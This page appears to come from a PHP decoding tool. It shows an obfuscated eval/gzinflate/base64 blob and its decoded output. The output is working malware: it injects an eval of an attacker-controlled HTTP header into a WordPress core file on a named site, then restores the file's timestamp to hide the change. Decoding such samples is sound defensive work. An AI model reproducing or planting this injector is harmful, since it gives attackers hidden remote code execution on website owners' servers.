Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVHvb9owEP2OxP/gSpEaVDSFtIDQxIeVFZqVnwkkwDRFieOUEMeOYgdIpv3v..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo2NDoiL2hvbWUvYWRtaW4vd2ViL21hZ2RpY21hcmluZS5oci9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy91c2VyLnBocCI7aToxO3M6NzoiRjkzNTFGQyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0Y5MzUxRkMnXSk7IjtpOjM7czozNDoifl5ccypmdW5jdGlvblxzK3VwZGF0ZV91c2VyX21ldGF+bSI7fQ==');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (strstr($source, $systemEnv) !== false) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
if (strstr($newSource, $systemEnv) === false) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVHvb9owEP2OxP/gSpEaVDSFtIDQxIeVFZqVnwkkwDRFieOUEMeOYgdIpv3vcyAUulXaTpZ8Ot+9e++5Wok3cY8S33Rw4DkcyberOVUmhMeT7Zc2zKk6/kqDobrZudZit7J07lgPO081Ra2xWat6vBI3jHC6NpoUBp29Z31jjjX2nWedu73OPew1YjcaM8/SMcw6Daia2ZA8UtjT2s6cHib3o9Y4p4G+DfPxvD+YZcd6VtRHudbSwkfsRX320tP9hWIaZmgaVuZpZl+fLZVVc5QvDno4IksjbGvbgveo4J0XvH3chDCLI89qbr0B3rn4kL/cm/v1oK+szROXpdrA3qB/5xpa2591u7e1z9WKnxLIA0rAn/ZIDCU18LNaqVaACBwwDmTJTzGeOnxTBxLLGEfRE9mJHFIPiSt2OEcJqYEuSImYDwRYjmTXYaj1YHuoaDsBF6sLWInRNIFIDPgBRvYr4jakhCPC2WXZuTnwgcx4Io5czl3TqIGbroBxMENH3qCMBPE0ISXErwvSTZygVztyONzIZ+Z1cAE+viBW+yeYRNDeOMsQ5OwExdiBQmkJ8V35UXoEPoHp89R+mgxF9v75tPcjqW/w79V2/1utVHgb8SA6+3zMr/wFd6ChlDMpwQEJ/zb/+D9x+tH/1K8sOLdzmha+XrW8LS5aBLPf")));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
phpConfValidate | 1 |
Stats
MD5 | 6028e6e5d7ed77e4ac6ac89197b9ea3b |
Eval Count | 1 |
Decode Time | 63 ms |